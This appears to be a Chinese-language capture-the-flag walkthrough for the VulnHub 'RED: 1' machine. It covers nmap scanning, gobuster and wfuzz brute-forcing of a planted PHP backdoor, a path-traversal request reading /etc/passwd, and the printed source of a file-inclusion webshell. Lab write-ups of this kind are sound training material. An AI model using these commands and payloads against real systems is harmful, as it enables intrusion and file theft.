Vulhub实战靶场 RED: 1

一、环境搭建

1、靶场下载链接：https://www.vulnhub.com/entry/red-1,753/，该靶场为模拟实战靶场，你扮演了一个电脑网站被植入后门，丢失了自己的管理权限了，需要一步步重新夺回自己的root管理权限。

2、导入Oracle VM VirtualBox

3、将网卡设置为桥接模式方便测试

4、直接启动靶场即可

二、攻略步骤

1、信息发现，hostname -I,获取攻击机ip地址网段

2、nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.1.0/24，探测靶场ip

3、nmap -sS -A 192.168.1.103,探测靶场启动的端口服务信息，探测到靶场启动的端口为22、80

4、nmap探测到，靶场系统为Ubuntu，80端口使用的框架为WordPress 5.8.1，访问靶场的80端口去收集更多信息

直接访问，是一些嘲讽信息，不是正常的网站页面，查看网站源码，发现href标签里，跳转的wp页面，域名都是redrocks.win

5、修改hosts文件，加入解析，使用域名访问网站，正常显示

访问最大的Hello Blue嘲讽页面

在源码中发现提示，正常的英语语句的书写方法是每句话第一个首字母大写，从之后的正常语句也可以看出，整个句子只有第一句话的单词首字母都大写了，而大写的字母组合在一起是LFI，所以可以猜测，这个网站存在的漏洞是一个LFI（文件包含漏洞），因为WordPress是PHP的框架，可能red就是先一步在这里植入了一个php的webshell文件

使用gobuster 爆破目录文件，使用的常见后门文件名字典下载链接为：https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

输入命令：gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txt -z

发现后门文件/NetworkFileManagerPHP.php

6、搜索引擎，搜索后门文件，在github中可以发现他的webshell源码

接下来就是直接利用了，因为现在不清楚后门传入的参数使用的名称，所以使用wfuzz来进行爆破常见的参数名，使用的字典为SecLists中的字典，我一部分一部分的爆破，因为工作电脑性能不行，跑大量的数据包不准确，无法爆破出正确参数，输入命令：wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

7、尝试传入参数，确实可以使用，是一个文件包含webshell

访问链接： http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../etc/passwd

8、使用BurpSuite抓包，修改参数使用php伪协议读取后门源码

使用base64解码

该后门文件源码为：

<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

再次发现提示，提示为base64编码